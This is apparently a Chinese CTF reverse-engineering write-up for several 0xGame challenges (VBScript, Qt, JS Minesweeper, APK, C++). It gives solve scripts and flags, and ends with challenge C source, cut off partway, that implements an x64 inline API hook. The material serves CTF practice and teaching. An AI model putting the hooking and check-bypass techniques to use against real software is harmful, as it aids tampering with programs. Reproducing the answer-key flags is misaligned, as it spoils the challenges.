i 4` l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ec Y ecXX |@5 ec Z `[ `X i 4a l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX |@5 ec Z `[ `X i 6?4 l 6?4 U 4` U
4a U QlQ U QlQ i t?5 x7 i t?5 x7 i }6IE i xu 6?4 l 7=28 %96? i |D8q@I DEC i
t=D6 i |D8q@I Q*@FC 7=28 :D :?4@CC64EPQ i |D8q@I 6?4 i t?5 x7"")"
Set objFSO = CreateObject("Scripting.FileSystemObject")
strScriptPath = WScript.ScriptFullName
strTextToWrite = code
objFSO.OpenTextFile(strScriptPath, 2, True).WriteLine(strTextToWrite)
```

然后再次把Execute换成WScript.Echo，再运行，如此反复

代码块

```
Function l(str):Dim i,j,k,r:j=Len(str):r="":For i=1 to
j:k=Asc(Mid(str,i,1)):If k>=33 And k<=126 Then:r=r&Chr(33+((k+14)Mod
94)):Else:r=r&Chr(k):End If:Next:l=r:End Function:Execute l("DEC l x?AFEq@IWQt?
E6C J@FC >6DD286i QX i q2D6ec%23=6 l Q7Ie{&*d2Eh=?
H>5b%3BKF#JZp:A(w!s@)+z|uvr'ax^"";$C6tD9`g}y<8_Gfc~4qQ i 7=28 l
QH2+2pJ}vsyhrH{7}5K*r?J&DpyE$>{&_HB}z>{*u?J%g:J#|:d&tp|w_52glQ i 6?4 l QQ i
u@C : l ` %@ {6?WDECX $E6A b i :7 : Z a kl {6?WDECX %96? i 3:Eq=@4< l
pD4W|:5WDEC[ :[ `XX Y ade Y ade Z pD4W|:5WDEC[ : Z `[ `XX Y ade Z pD4W|:5WDEC[
: Z a[ `XX i 4` l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ec Y ecXX |@5 ec Z `[
`X i 4a l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX |@5 ec Z `[ `X i 4b l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - ecX |@5 ec Z `[ `X i 4c l |:5Wq2D6ec%23=6[ x?
EW3:Eq=@4<X |@5 ec Z `[ `X i 6?4 l 6?4 U 4` U 4a U 4b U 4c i t=D6 i x7 : Z `
kl {6?WDECX %96? i 3:Eq=@4< l pD4W|:5WDEC[ :[ `XX Y ade Y ade Z pD4W|:5WDEC[ :
Z `[ `XX Y ade i 4` l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ec Y ecXX |@5 ec Z
`[ `X i 4a l |:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX |@5 ec Z `[ `X i 4b l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - ecX |@5 ec Z `[ `X i 6?4 l 6?4 U 4` U 4a U 4b
U QlQ i t=D6 i 3:Eq=@4< l pD4W|:5WDEC[ :[ `XX Y ade Y ade i 4` l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ec Y ecXX |@5 ec Z `[ `X i 4a l
|:5Wq2D6ec%23=6[ x?EW3:Eq=@4< - Wec Y ecXX |@5 ec Z `[ `X i 6?4 l 6?4 U 4` U
4a U QlQ U QlQ i t?5 x7 i t?5 x7 i }6IE i xu 6?4 l 7=28 %96? i |D8q@I Q*@FC
7=28 :D 4@CC64EPQ i t=D6 i |D8q@I Q*@FC 7=28 :D :?4@CC64EPQ i t?5 x7")
```

最终脚本（格式化后的）：

代码块

```
str = InputBox("Enter your message:")
Base64Table =
"fx6LUY5at9lnwmd3TbqzuRy+AipWHPDoXZKMFGCV2I/QjSreEsh18NJkg0v74OcB"
flag = "waZaAyNGDJ9CwLfNdzYCnyUsAJtSmLU0wqNKmLYFnyT8iyRMi5UEAMH0da8="
enc = ""
For i = 1 To Len(str) Step 3
    if i + 2 <= Len(str) Then
        bitBlock = Asc(Mid(str, i, 1)) * 256 * 256 + Asc(Mid(str, i + 1, 1)) *
256 + Asc(Mid(str, i + 2, 1))
        c1 = Mid(Base64Table, Int(bitBlock \ (64 * 64 * 64)) Mod 64 + 1, 1)
        c2 = Mid(Base64Table, Int(bitBlock \ (64 * 64)) Mod 64 + 1, 1)
        c3 = Mid(Base64Table, Int(bitBlock \ 64) Mod 64 + 1, 1)
        c4 = Mid(Base64Table, Int(bitBlock) Mod 64 + 1, 1)
        enc = enc & c1 & c2 & c3 & c4
    Else
        If i + 1 <= Len(str) Then
```

```
            bitBlock = Asc(Mid(str, i, 1)) * 256 * 256 + Asc(Mid(str, i + 1,
1)) * 256
            c1 = Mid(Base64Table, Int(bitBlock \ (64 * 64 * 64)) Mod 64 + 1,
1)
            c2 = Mid(Base64Table, Int(bitBlock \ (64 * 64)) Mod 64 + 1, 1)
            c3 = Mid(Base64Table, Int(bitBlock \ 64) Mod 64 + 1, 1)
            enc = enc & c1 & c2 & c3 & "="
        Else
            bitBlock = Asc(Mid(str, i, 1)) * 256 * 256
            c1 = Mid(Base64Table, Int(bitBlock \ (64 * 64 * 64)) Mod 64 + 1,
1)
            c2 = Mid(Base64Table, Int(bitBlock \ (64 * 64)) Mod 64 + 1, 1)
            enc = enc & c1 & c2 & "=" & "="
        End If
    End If
Next
IF enc = flag Then
    MsgBox "Your flag is correct!"
Else
    MsgBox "Your flag is incorrect!"
End If
```

自定义编码表的base64



0xGame{bf00591f-a1cb-4191-b41d-d4eecda0b798}

Q(≧▽≦)T

找到校验部分，动态调试，重命名变量，发现输入的字符串在数组中。先进行了用户名的哈希校验

```
((void (__fastcall *)(void *, volatile signed __int32 **, _QWORD, volatile signed __int32 **))QLineEdit::text)(
  QLineEdit::text,
  v25,
  *(_QWORD *)(*(_QWORD *)(a4 + 40) + 16LL),
  v25);
QString::trimmed_helper(QLineEdit::text, v25, v25, user);
if ( v25[0] && !_InterlockedSub(v25[0], 1u) )
  free(QLineEdit::text);
((void (__fastcall *)(void *, volatile signed __int32 **, _QWORD, volatile signed __int32 **))QLineEdit::text)(
  QLineEdit::text,
  v25,
  *(_QWORD *)(*(_QWORD *)(a4 + 40) + 24LL),
  password);
if ( user[2] == (volatile signed __int32 *)4 )
{
  QString::toUtf8_helper(QLineEdit::text, v25, user, v14);
  Block = (__int64)v14[2];
  v11 = (const char *)v14[1];
  QCryptographicHash::hash(&Block, v25, &Block, &v15, 4LL);
  sub_7FF611C51620((__int64)&Block, (__int64)v25, a4, (__int64)v16);
  Block = 64LL;
  v11 = "c94201919ec7463313c747d0a27fabcabf1400fa1e9a64d36a6b1a7e7b12ae68";
  QString::fromUtf8(&Block, v25, &Block, v17);
  if ( v18 == v16[2]
    && (v8 = v18, v6 = v18, v9 = v16[1], v7 = v17[1], (unsigned __int8)QtPrivate::equalStrings(&Block, v25, &v6, &v8)) )
  {
    QString::toUtf8_helper(&Block, v25, password, v19);
    sub_7FF611C516F0((__int64)&Block, (__int64)v25, a4, &v20, v19, (__int64)v14);
    sub_7FF611C51620((__int64)&Block, (__int64)v25, a4, (__int64)v21);
    Block = 72LL;
```

看一下栈空间，索引1对应字符串地址，2对应长度，方便提取数据

代码块

```
1  Stack[0000C6D4]:000000CA857FB530 dq offset qword_2865283EB20
2  Stack[0000C6D4]:000000CA857FB538 dq offset aKkkk                        ;
   "KKKK"
3  Stack[0000C6D4]:000000CA857FB540 dq 4
4  Stack[0000C6D4]:000000CA857FB548 dq offset off_28652867E90
5  Stack[0000C6D4]:000000CA857FB550 dq offset unk_2865285C130
6  Stack[0000C6D4]:000000CA857FB558 dq offset a114514                      ;
   "114514"
7  Stack[0000C6D4]:000000CA857FB560 dq 6
8  Stack[0000C6D4]:000000CA857FB568 dq offset off_28652864F60
```

调试到比较字符串函数的前面，提取数据发现kkkk的哈希是
503afc4bd66d51aeda05cbcdbf07ad0d560d03fe0819f365629c48299e92b539

CyberChef穷举一下，和SHA2 256对上。

代码块

```
1  MD2:          938221df1aefe431305792b3ee8a9bbd
2  MD4:          b21207172626ba15997fac9e948e57cd
3  MD5:          fa7f08233358e9b466effa1328168527
4  MD6:          920872fa4f3d4886b154d2bdf74323e9b2e285d2f93574fe8072dd5c7952d276
5  SHA0:         fed70019e02c3261b2d6f962f969828ea13581b8
6  SHA1:         54adbc768978d9574b682470bd1f568f5a3f43da
7  SHA2 224:     2786e079fb4e41991893e6401e5aaef1801c952d0a82fc31956091d3
8  SHA2 256:     503afc4bd66d51aeda05cbcdbf07ad0d560d03fe0819f365629c48299e92b539
```

```
SHA2 384:
cb564877515aeb7dc12ae1c874163f08b9b441521f1c990e3cab0231397af7e566ab5cc2ca8e7dd
62f3d13d13c39b629
SHA2 512:
c11033e2755bc3472afb298cb3e85cd53472e459e49ce9dc0f63948d7ff6bcfd9febc260ad8bfbe
6d64a280e0db033244b00b5d0eb820a96e34be861d956bebf
SHA3 224:     a3eeb92b63db00b1161f78227d29e73aa1cd9d576aa94ebd0928d0fc
SHA3 256:     cae9e3df1d163b59e1c099cc360bb3275abd1c2489686f465e02f5d2abe6afac
SHA3 384:
bf080edf911c5bcc0f586e9869072f0b393d12e8586ba987395c68974d5014fc9bab29122f4d00a
855aa65d0562cf1f7
SHA3 512:
491967abf91b6f94a08df7391637e6c5d539e0051f657dbf95d7e3edf8456e4f72537dd826bd473
b902abece69648f025eb312085eb70e63dceccda4357f0554
Keccak 224:   8730302bc7841b729a0e462a69107ec44d221fdee3862795138e3353
Keccak 256:   515c58bb53a38772e58c2ff9bb072267912764de50920bc6bcb0bacb6f8fee1e
Keccak 384:
61f5326f810e41909dab9484e5f05c533d0e9c568e752a421cbe4feb9afd0e64ebc39758c50fb81
3cab778a53e293588
Keccak 512:
57b1ad8ceda340504415d4b7686e839dac52a2a65e1fdcbc5bedf55506e179c906a16ad583a7623
e25166e67566883b0fde6880ee134721d3cfc06a29b90d21e
Shake 128:    1ea155706fe6edf1b62a8047a80406e90af288a1a153bde7ba9a69efee314c56
Shake 256:
60aa48b10ff1fa9a807dae74228d7e7c60d6870394e10f36325fcfaaafc2ca6d9e4c241e4a5bb36
4f351a71fef272a8a0254f01028b6b2aad4ee3eb867cc688b
RIPEMD-128:   66371c5bb336f096cbca6681781233cd
RIPEMD-160:   0698462463c8c7fc7b160b6d8d3d71a3228158a8
RIPEMD-256:   dc3cb3584b6ac83814294d0901eabfa76cf4812be60bca94364d1789c80a3234
RIPEMD-320:
f4447bc853656610244674dd877778afcdaf7137f34c45266770d635aaf5e749ea1428ea5864d31
a
HAS-160:      fb05d5bc8853eea4c0fa6979a65802349207792e
Whirlpool-0:
ecb40b21b062a4084e52001c0ad368689e66d86b0798e33cc526ab917f0e6dd55fb76b6fba29ce0
d777be756bb43cb3670f32ec77ca3239f572aecf233a05a3b
Whirlpool-T:
91dcd45eb1c0263d530db5c07caf5fd7b4c680d0fec425fb0d4476b537d07ef9b132f0d91e6ccaf
0821c082b9b3a6875f3658130e71a9dc1a67160e64d2ddecb
Whirlpool:
da0dd0ce7728aeeae63232532f4b2051f4d75856a9fe9215e6443642cd15090bfd9b9f13a6f6a38
7e4284ee96a7a4836847a24b44b0eb1be804d5205e6670e03
BLAKE2b-128:  1c6243e56b6c1b31b1f1ba4870edac98
BLAKE2b-160:  9f254f6e9993bdcb0722a79696e687f061cebde5
BLAKE2b-256:  3a9921b2bd52d00e6ea2b3aafd2bf8991e43fd3679434e2f6db1940af00a4d96
BLAKE2b-384:
f17f58ef87905e9e5ec93f8b242cac27478c2a45c2aba1f651c12dc9dee50f45f5195fdc8baa35e
```

```
    a1b3b887073ab5812
33  BLAKE2b-512:
    fe4fb6a9de5427f1e7cd11369a9a82c081e383e3228946b50be1b677b0a3136584fd0f77e52ff3b
    f5960a79d09be65daa4c6aa6161c071afe8c0166240da53bb
34  BLAKE2s-128:  677d34cff3d2b329287a39cffabe9d27
35  BLAKE2s-160:  9e618f7104bcc5190eee34b7fcc0f118470f443f
36  BLAKE2s-256:  61c3145e605c6e6774997fa87534b9585bb3d241cff33e93b8f81b3943d6084b
37  Streebog-256: 84fb3288ba4c1fb54ac620ff47f435c44bbf22b13b7414ccb0b10905c1ba3bf9
38  Streebog-512:
    a9346a0392c4f62f1c8d79c8a1c7625bfa16b1aeb455f48b442865a4bf1a4d11c91ea24d46ed496
    ae9b50e7a747c6e5170ba09acdaf2f6287f4ea562a7977a8c
39  GOST:         c65bba79c9cd955ec15f0b85242d4d20112d0e49594f7e2a7a42ba7660fa83c2
40  LM Hash:      5A069A8420D96570AAD3B435B51404EE
41  NT Hash:      FE7A0D58C18C6CF0369765A62DE211C3
42  SSDEEP:       3:YO:j
43  CTPH:         A:+P:x
44
45  Checksums:
46  Fletcher-8:   58
47  Fletcher-16:  32ad
48  Fletcher-32:  4242d6d6
49  Fletcher-64:  6b6b6b6b6b6b6b6b
50  Adler-32:     043201ad
51  CRC-8:        82
52  CRC-16:       2703
53  CRC-32:       d5888163
54
```

然后对题目的哈希值进行爆破，脚本或在线网站都行，得到用户名是Kath

下一步的加密函数，一眼RC4

```
  ++v18;
  ++v12;
  v22 = v21 + v19 + *(unsigned __int8 *)(v17 + v20 % v11);
  v19 = (unsigned __int8)(HIBYTE(v22) + v22) - HIBYTE(HIDWORD(v22));
  *(v12 - 1) = v30[v19];
  v30[v19] = v21;
}
while ( v18 != 256 );
if ( a5[1].m128i_i64[0] > 0 )
{
  v23 = 0LL;
  v24 = 0;
  LODWORD(v25) = 0;
  do
  {
    v25 = (unsigned int)(((int)v25 + 1) % 256);
    v26 = v30[(int)v25];
    v24 = (v26 + v24) % 256;
    v30[(int)v25] = v30[v24];
    v30[v24] = v26;
    v27 = v30[(int)v25] + v26;
    v28 = *(_BYTE *)(a5->m128i_i64[1] + v23) ^ v30[(unsigned __int8)(HIBYTE(v27) + v27) - HIBYTE(HIDWORD(v27))];
    if ( !a4->m128i_i64[0] || *(int *)a4->m128i_i64[0] > 1 )
      QByteArray::reallocData(v25, a5, a4[1].m128i_i64[0], a4, 1LL, *(double *)si128.m128i_i64);
    *(_BYTE *)(a4->m128i_i64[1] + v23++) = v28;
  }
  while ( a5[1].m128i_i64[0] > v23 );
}
return a4;
```

得到flag：0xGame{ce5e5621-3d6b-4429-b72a-957abf353390}



Minesweeper

通常解法是在线网站反混淆，审计JS源码，懒得写了。

直接写最速解法，看一下被混淆的JS代码，雷的数量相关的设置没有混淆，把mines直接都改成0x1。

```
[_0x2119e5(0xc6)],_0x22254e[_0x2119e5(0x8d)]('p')[0x1][_0x2119e5(0x9e)]=_0x362f11[_0x2119e5(0x98)][_0x2119e5
(0xe5)],_0x22254e[_0x2119e5(0x8d)]('p')[0x2][_0x2119e5(0x11a)]=_0x362f11['expertWinModal'][_0x2119e5(0x118)],
_0x22254e[_0x2119e5(0x104)](_0x2119e5(0xd6))[_0x2119e5(0x11a)]=_0x362f11[_0x2119e5(0xa6)];const _0x269fcc=document
[_0x2119e5(0xa4)]('lose-modal-content');_0x269fcc[_0x2119e5(0x104)]('h2')['textContent']=_0x362f11[_0x2119e5(0x90)]
[_0x2119e5(0xc3)],_0x269fcc[_0x2119e5(0x104)]('p')[_0x2119e5(0x9e)]=_0x362f11[_0x2119e5(0x90)][_0x2119e5(0xa2)],
_0x269fcc['querySelector'](_0x2119e5(0xd6))[_0x2119e5(0x11a)]=_0x362f11[_0x2119e5(0x124)];}_0x17a4e0();const
_0xe563e9={'easy':{'rows':0x9,'cols':0x9,'mines':0xa},'medium':{'rows':0x10,'cols':0x10,'mines':0x28},'hard':
{'rows':0x10,'cols':0x1e,'mines':0x63},'expert':{'rows':0x10,'cols':0x1e,'mines':0x1}};let _0xbbc7b5={'board':[],
'revealed':[],'flagged':[],'mines':0x0,'rows':0x0,'cols':0x0,'currentDifficulty':_0x468083(0xea),'gameStarted':![],
'gameOver':![],'win':![],'timer':0x0,'timerInterval':null,'remainingMines':0x0};const _0x511ce1=document
['getElementById']('game-board'),_0x34502f=document['getElementById'](_0x468083(0x10e)),_0x3d0db9=document
[_0x468083(0xa4)](_0x468083(0xc0)),_0x3c7a43=document[_0x468083(0xa4)](_0x468083(0xbc)),_0x3e2c0b={'easy':document
['getElementById'](_0x468083(0xfd)),'medium':document[_0x468083(0xa4)](_0x468083(0xbf)),'hard':document
['getElementById']('hard-btn'),'expert':document[_0x468083(0xa4)]('expert-btn')},_0x266253=document
['getElementById'](_0x468083(0xeb)),_0x2533e9=document[_0x468083(0xa4)](_0x468083(0xe6)),_0x5ca2f8=document
[_0x468083(0xa4)]('lose-modal'),_0x55e54c=document[_0x468083(0xa4)]('modal-content'),_0x5134d0=document[_0x468083
(0xa4)](_0x468083(0xaf)),_0x487c6d=document[_0x468083(0xa4)](_0x468083(0x9b)),_0xb5ad6f=document[_0x468083(0xa4)]
```

秒了，0xGame{463950f9-9824-4bfb-8230-98ab02d431d0}

easyApp

apk文件，下个模拟器或者用手机运行一下



经典的输入->校验逻辑，apk文件本质上也就是一堆java字节码及一些资源文件打包而成的压缩包，可以解压，并且与上周的jar一样是用jadx等工具分析的，先直接把这个apk丢到jadx里面看看

接下来先看AndroidManifest.xml这个文件，它实际上是一个apk的配置文件，里面存储了apk的很多信息，包括程序入口点，我们要分析程序的执行逻辑，就得先找到程序的入口点



顺便一提，如果你把apk解压出来，可以发现左侧的文件目录和文件夹里面的文件是对应的

接下来看到这里，这就是该程序的入口类，双击即可跳转

```
android:dataExtractionRules="@xml/data_extraction_rules">
<activity
    android:theme="@style/Theme.EasyApp"
    android:label="@string/app_name"
    android:name="com.example.easyapp.MainActivity"
    android:exported="true"
    android:screenOrientation="portrait">
    <intent-filter>
```

```java
/* JADX INFO: Access modifiers changed from: private */
public static final void onCreate$lambda$0(EditText editText, MainActivity this$0, View view) {
    boolean z;
    Intrinsics.checkNotNullParameter(this$0, "this$0");
    String obj = editText.getText().toString();
    File file = new File(this$0.getCacheDir(), "dex.zip");
    InputStream open = this$0.getAssets().open("dex.zip");
    Intrinsics.checkNotNullExpressionValue(open, "open(...)");
    ByteStreamsKt.copyTo$default(open, new FileOutputStream(file), 0, 2, null);
    if (obj.length() == 42) {
        Method declaredMethod = new DexClassLoader(file.getAbsolutePath(), this$0.getCacheDir().getAbsolutePath(), null, this$0.getClassLoader()).loadClass("com.example.easyapp.Secret").getD
        String substring = obj.substring(0, 26);
        Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String…ing(startIndex, endIndex)");
        byte[] bytes = substring.getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");
        String encodeToString = Base64.encodeToString(bytes, 0);
        Intrinsics.checkNotNullExpressionValue(encodeToString, "encodeToString(...)");
        String obj2 = StringsKt.trim((CharSequence) encodeToString).toString();
        String substring2 = obj.substring(26);
        Intrinsics.checkNotNullExpressionValue(substring2, "this as java.lang.String).substring(startIndex)");
        byte[] bytes2 = substring2.getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(bytes2, "this as java.lang.String).getBytes(charset)");
        if (obj2.equals("MHhHYW1le0RvX3kwdV9sMHYzX2FuZHIwMWQ=")) {
            Object invoke = declaredMethod.invoke(null, this$0.toHexString(bytes2));
            Intrinsics.checkNotNull(invoke, "null cannot be cast to non-null type kotlin.Boolean");
            z = ((Boolean) invoke).booleanValue();
        } else {
            z = false;
        }
        if (z) {
            Toast.makeText(this$0, "Right!", 0).show();
            return;
        } else {
            Toast.makeText(this$0, "Oh no no", 0).show();
            return;
        }
    }
    Toast.makeText(this$0, "Length wrong!", 0).show();
```

onCreate函数就是apk程序的入口函数，可以暂时理解为C语言的main函数，要分析的主要逻辑也都在这里

仔细分析一下函数内的逻辑即可，可以借助ai，简单翻译一下校验的过程：

程序把我们输入的flag分成两段（0到26和26到42），其中前半部分就是一个base64加密，密文就在其内部，简单解码即可



后半段较为复杂，它用了java里面的反射机制调用了存在于外部（相对于正常的apk字节码所在处）的dex字节码文件，然后调用它内部的check函数来对后半段字符串进行校验

具体来说，看前面的这里

```
String obj = editText.getText().toString();
File file = new File(this$0.getCacheDir(), "dex.zip");
InputStream open = this$0.getAssets().open("dex.zip");
Intrinsics.checkNotNullExpressionValue(open, "open(...)");
```

这里出现了“getAssets().open("dex.zip")”，表明是获取assets文件夹下的dex.zip文件，assets文件夹可以在左侧文件列表看到，点进去可以发现确实存在这样一个文件

然后是if判断的下面有一段

代码块

```
Method declaredMethod = new DexClassLoader(file.getAbsolutePath(),
this$0.getCacheDir().getAbsolutePath(), null,
this$0.getClassLoader()).loadClass("com.example.easyapp.Secret").getDeclaredMet
hod("check", String.class)
```

指出了函数名及其所在的类

那么接下来就先解压apk，然后找到dex.zip并解压，将解压后的dex.bin文件再次放入jadx分析即可



这就是几个方程，用z3解方程即可

代码块

```
from z3 import *

a,b,c = Ints("a b c")
s = Solver()
```

```
5
6   s.add(a*3 + b - 27454419028250566601 == 0)
7   s.add(c*2 - 5*b + 20616666104378640363 == 0)
8   s.add(a + 4*c - 0x1dce62be9f0fa2f6c == 0)
9
10  if s.check() == sat:
11      result = s.model()
12      for var in (a,c):
13          print(hex(result[var].as_long())[2:],end="")
```

解出来是十六进制，用cyberchef或者其它工具转成字符串即可



World's_end_BlackBox

用c++写的，程序反编译出来很难看

```
SetConsoleOutputCP(0xFDE9u);
std::string::basic_string(v18);
std::string::basic_string(v17);
v3 = std::operator<<<std::char_traits<char>>(
       refptr__ZSt4cout,
       "Acid 拯救了失控的 Ris，穿越了七重门与世界。最终，一场宝石之雨倾洒而下，每一面万花筒都映出它的光芒。请见证这些“战胜一切者”所编织的下一个世界与额外篇章。");
std::ostream::operator<<(v3, refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
v4 = std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "现在，请向我展示你持有的密码：");
std::ostream::operator<<(v4, refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
std::getline<char,std::char_traits<char>,std::allocator<char>>(refptr__ZSt3cin, v17);
if ( std::string::length(v17) != 12 )
{
  v5 = std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Length Error!");
  std::ostream::operator<<(v5, refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
  system("pause");
  exit(0);
}
KeyGenerate(v19, &KeyEnc[abi:cxx11], &DeKey[abi:cxx11]);
std::string::operator=(&TrueKey[abi:cxx11], v19);
std::string::~string(v19);
if ( (unsigned __int8)std::operator!=<char>(v17, &TrueKey[abi:cxx11]) )
{
  v6 = std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "抱歉，密码错误");
  std::ostream::operator<<(v6, refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
  system("pause");
  exit(0);
}
v7 = std::operator<<<std::char_traits<char>>(
       refptr__ZSt4cout,
       "Congratulate! 您已进入7sref区域，请挑战KALEIDXSCOPE，得到最后的flag吧！");
std::ostream::operator<<(v7, refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
v8 = std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "那么，你的答案是？");
00001868 main:31 (402268)
```

但实际上大部分都是语言底层的一些函数操作，和题目没什么关系，动态调试耐心一点看就可以了

第一个密钥段，函数名提示了是“KeyGenerate”，只要让程序运行到这里，密钥就会自动解出来，从内存抓取即可.直接分析密钥生成函数来解也可以，密钥生成的逻辑是xxtea



之后输入flag并校验，加密的逻辑就是一个小魔改rc4，多异或了一个7，虽然代码很难看，但耐心点分析还是能看出来的，然后动态调试到后面的比对部分就能提取出来密文，解密即可：

代码块

```
flag=
[0xFC,0xEA,0x15,0x2C,0x86,0x38,0x3F,0xF3,0x92,0xCE,0xDA,0x8E,0x48,0xD3,0x7,0x9F
,0xD9,0x57,0xB1,0xEE,0x41,0x9A,0x4D,0xC5,0x65,0x6A,0xFF,0xC9,0x5D,0x34,0xAD,0xE
A,0xB1,0x20,0x4B,0xDC,0xBD,0xD2,0x35,0x2,0x84,0x35,0x71,0xEC,0xE0,0x48,0x8E,0xE
A,0x7B,0xAA,0xCF]
key="XaleidscopiX"
s=[]
t=[]
for i in range(256):
    s.append(i)
    t.append(ord(key[i % len(key)]))
j=0
for i in range(256):
   j=(j+s[i]+t[i])%256
   s[i],s[j]=s[j],s[i]
k=[]
```

```
i=j=0
for r in range(len(flag)):
    i=(i+1) % 256
    j=(j+s[i]) % 256
    s[i],s[j]=s[j],s[i]
    t=(s[i]+s[j]) % 256
    k.append(s[t])
for i in range(len(flag)):
    print(chr((flag[i]%256)^k[i]^7),end='')
```

Calamity_Fortune

题目源码：

代码块

```

#define _CRT_SECURE_NO_WARNINGS
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

void xorName(unsigned char v[],int len){

    for(int i = 0;i < len;i++){
        v[i]^=7;
    }
}

/* 小端字节 -> uint32_t */
static void str44_to_u32_le(const unsigned char input[44], uint32_t
output[11]) {
    for (int i = 0; i < 11; ++i) {
        uint32_t v = 0;
        for (int j = 0; j < 4; ++j) {
            v |= ((uint32_t)input[i*4 + j]) << (8*j);
        }
        output[i] = v;
    }
}
```

```
29
30  /* uint32_t -> 小端字节 */
31  static void u32_to_str44_le(const uint32_t input[11], unsigned char
    output[44]) {
32      for (int i = 0; i < 11; ++i) {
33          uint32_t v = input[i];
34          for (int j = 0; j < 4; ++j) {
35              output[i*4 + j] = (unsigned char)((v >> (8*j)) & 0xFF);
36          }
37      }
38  }
39
40  static void YourGift(){
41      char encFlag[] = {115, 25, 43, 0, 0, 12, 15, 13, 43, 8, 31, 62, 4, 26, 43,
    24, 28, 7, 13, 10, 8, 54, 18, 21, 34, 6, 51, 17, 1, 12, 21, 10, 38, 62, 7, 4,
    8, 25, 43, 13, 49, 24, 5, 15, 10, 20};
42      char key[] = "Calamity";
43      for (int i = 0; i < 46; i++)
44      {
45          printf("%c",encFlag[i] ^ key[i % 8]);
46      }
47  }
48
49  static void shuffle_inplace(unsigned char s[]) {
50      srand(101);
51      int n = 60;
52      for (int i = n - 1; i > 0; --i) {
53          int j = (int)(rand() % (i + 1));
54          char tmp = s[i];
55          s[i] = s[j];
56          s[j] = tmp;
57      }
58  }
59
60  static void btea(uint32_t *v, int n, uint32_t const key[4])
61  {
62      uint32_t y, z, sum;
63      unsigned p, rounds, e;
64      rounds = 6 + 52/n;
65      sum = 0;
66      z = v[n-1];
67      do
68      {
69          sum += DELTA;
70          e = (sum >> 2) & 3;
71          for (p=0; p<n-1; p++)
72          {
```

```
            y = v[p+1];
            z = v[p] += MX;
        }
        y = v[0];
        z = v[n-1] += MX;
    }
    while (--rounds);
}

static void base64_encode(unsigned char *input, size_t len, unsigned char
*output) {
    const char b64_table_hex[64] = {
0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50
,
    0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A,   // A-Z
0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F,0x70
,
    0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7A,   // a-z
    0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,   // 0-9
    0x2B,0x2F                                            // + /
    };
    size_t i, j;
    unsigned char *p = output;
    for (i = 0; i < len; i += 3) {
        uint32_t val = 0;
        int remain = len - i;
        val |= input[i] << 16;
        if (remain > 1) val |= input[i+1] << 8;
        if (remain > 2) val |= input[i+2];
        for (j = 0; j < 4; j++) {
            if (j <= (remain)) {
                int idx = (val >> (18 - 6*j)) & 0x3F;
                *p++ = b64_table_hex[idx];
            } else {
                *p++ = '=';
            }
        }
    }
    *p = '\0';
}

static void xorFun(unsigned char arr[]){
    for (int i = 0; i < 60; i++)
    {
        arr[i]^=0x45;
```

```
115      }
116
117  }
118
119  typedef int (WINAPI *MESSAGEBOXA_T)(HWND, LPCSTR, LPCSTR, UINT);
120
121  static MESSAGEBOXA_T g_origMessageBoxA = NULL;
122
123  static int HookInline_x64(void *targetFunc, void *newFunc, void **outTramp) {
124      if (!targetFunc || !newFunc || !outTramp) return 0;
125
126      const SIZE_T hookLen = 12; // mov rax, imm64; jmp rax
127      BYTE *pTarget = (BYTE*)targetFunc;
128
129      BYTE original[16];
130      memcpy(original, pTarget, hookLen);
131
132      SIZE_T trampSize = hookLen + 16;
133      BYTE *tramp = (BYTE*)VirtualAlloc(NULL, trampSize, MEM_COMMIT |
     MEM_RESERVE, PAGE_EXECUTE_READWRITE);
134      if (!tramp) return 0;
135
136      /* 把被覆盖的原始字节复制到 trampoline */
137      memcpy(tramp, original, hookLen);
138
139      /* 在 trampoline 尾部追加跳回 target+hookLen 的指令:
140         mov rax, imm64
141         jmp rax
142      */
143      tramp[hookLen + 0] = 0x48; tramp[hookLen + 1] = 0xB8; /* mov rax, imm64 */
144      *(UINT64*)(tramp + hookLen + 2) = (UINT64)(pTarget + hookLen);
145      tramp[hookLen + 10] = 0xFF; tramp[hookLen + 11] = 0xE0; /* jmp rax */
146
147      /* 修改目标内存保护，使其可写，并写入 hook 指令 */
148      DWORD oldProt;
149      if (!VirtualProtect(pTarget, hookLen, PAGE_EXECUTE_READWRITE, &oldProt)) {
150          VirtualFree(tramp, 0, MEM_RELEASE);
151          return 0;
152      }
153
154      /* 构建 hook: mov rax, newFunc; jmp rax */
155      BYTE patch[12];
156      patch[0] = 0x48; patch[1] = 0xB8; /* mov rax, imm64 */
